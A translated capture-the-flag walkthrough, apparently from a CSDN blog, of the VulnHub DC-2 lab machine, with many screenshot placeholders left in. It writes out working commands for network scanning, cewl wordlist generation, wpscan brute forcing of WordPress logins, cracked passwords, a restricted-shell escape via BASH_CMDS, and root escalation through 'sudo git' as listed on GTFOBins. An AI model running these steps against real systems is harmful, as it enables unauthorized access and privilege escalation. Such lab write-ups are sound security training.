VulnHub DC-2 Writeup

For details of DC-2, please visit: https://www.vulnhub.com/entry/dc-2,311/

Target machine environment VIrtualBox, connected to the VirtualBox Host-Onlynetwork card, IP:192.168.56.103

Insert picture description here

Attack machine environment VMware, bridge mode, bridge to VIrtualBox Host-Onlynetwork card, IP:192.168.56.177

Insert picture description here


Scan for surviving hosts in segment C

arp-scan -l

or

nmap -sP 192.168.56.1/24

Insert picture description here
Visit http://192.168.56.103found to be redirected tohttp://dc-2

Insert picture description here
modify/etc/hosts

Insert picture description here
Nmap scans the target machine to collect information

nmap -Pn -sSV -A -p- -T5 192.168.56.103

Insert picture description here
Found on the site flag1and prompted to usecewl

PS: It Cewlis an application developed by Ruby, which can return a dictionary file by crawling the URL address for use by blasting tools

Insert picture description here
Use cewlcrawl sites to generate dictionaries

cewl -w dc2_password.txt http://dc-2/

Insert picture description here
WPscanEnumerate site users

wpscan --url http://dc-2/ -e u

Insert picture description here
Use the cewlgenerated dictionary to blast

wpscan --url http://dc-2/ -P /home/mochu7/Desktop/dc2_password.txt --max-threads 100

Insert picture description here

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

Login to jerrygetflag2

Insert picture description here
tomAccount can log in with SSH

PS: The ssh port here is not the 22previous port scan and it can be seen that the ssh port is7744

Insert picture description here
tomUser shell is restricted and many commands cannot be used

Insert picture description here
Read here flag3.txtcan be read by lesscommand, no need to escalate privilege

Insert picture description here
Use of rights:

BASH_CMDS[a]=/bin/sh;a
/bin/bash
export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin

flag3
Insert picture description here
flag4

Insert picture description here
And the jerryuser can not log in before testing ssh, but you can switch directly here

Insert picture description here
According to flag4the prompts, here should gitbe an rootauthorization , first check which commands can be used without a password, that is, sudocan be executed without a password

Insert picture description here
The next step is gitto raise rights

Reference article: https://gtfobins.github.io/gtfobins/git/

sudo git -p help config
!/bin/sh

Insert picture description here
Insert picture description here
final-flag
Insert picture description here

Guess you like

Origin blog.csdn.net/mochu7777777/article/details/108849163